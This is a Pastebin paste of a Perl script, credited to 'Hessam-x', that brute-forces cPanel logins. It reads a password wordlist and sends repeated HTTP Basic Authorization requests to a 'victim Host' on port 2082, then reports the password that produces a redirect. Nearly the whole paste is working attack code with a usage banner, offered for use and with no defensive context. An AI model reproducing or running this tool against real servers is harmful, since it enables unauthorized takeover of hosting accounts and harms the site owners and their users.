Advertisement
flazer

Cpanel Password Brute Forcer

Apr 11th, 2012
1,743
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.34 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # Cpanel Password Brute Forcer
  3. # ----------------------------
  4. # (c)oded By Hessam-x
  5. # Perl Version ( low speed )
  6. # Oerginal Advisory :
  7. # http://www.simorgh-ev.com/advisory/2006/cpanel-bruteforce-vule/
  8. use IO::Socket;
  9. use LWP::Simple;
  10. use MIME::Base64;
  11.  
  12. $host = $ARGV[0];
  13. $user = $ARGV[1];
  14. $port = $ARGV[2];
  15. $list = $ARGV[3];
  16. $file = $ARGV[4];
  17. $url = "http://".$host.":".$port;
  18. if(@ARGV < 3){
  19. print q(
  20. ###############################################################
  21. # Cpanel Password Brute Force Tool #
  22. ###############################################################
  23. # usage : cpanel.pl [HOST] [User] [PORT] [list] [File] #
  24. #-------------------------------------------------------------#
  25. # [Host] : victim Host (simorgh-ev.com) #
  26. # [User] : User Name (demo) #
  27. # [PORT] : Port of Cpanel (2082) #
  28. # [list] : File Of password list (list.txt) #
  29. # [File] : file for save password (password.txt) #
  30. # #
  31. ###############################################################
  32. # (c)oded By Hessam-x / simorgh-ev.com #
  33. ###############################################################
  34. );exit;}
  35.  
  36. headx();
  37.  
  38. $numstart = "-1";
  39.  
  40. sub headx() {
  41. print q(
  42. ###############################################################
  43. # Cpanel Password Brute Force Tool #
  44. # (c)oded By Hessam-x / simorgh-ev.com #
  45. ###############################################################
  46. );
  47. open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !";
  48. @PASSWORDS = <PASSFILE>;
  49. close PASSFILE;
  50. foreach my $P (@PASSWORDS) {
  51. chomp $P;
  52. $passwd = $P;
  53. print "\n [~] Try Password : $passwd \n";
  54. &brut;
  55. };
  56. }
  57. sub brut() {
  58. $authx = encode_base64($user.":".$passwd);
  59. print $authx;
  60. my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "\n [-] Can not connect to the host";
  61. print $sock "GET / HTTP/1.1\n";
  62. print $sock "Authorization: Basic $authx\n";
  63. print $sock "Connection: Close\n\n";
  64. read $sock, $answer, 128;
  65. close($sock);
  66.  
  67. if ($answer =~ /Moved/) {
  68. print "\n [~] PASSWORD FOUND : $passwd \n";
  69. exit();
  70. }
  71. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement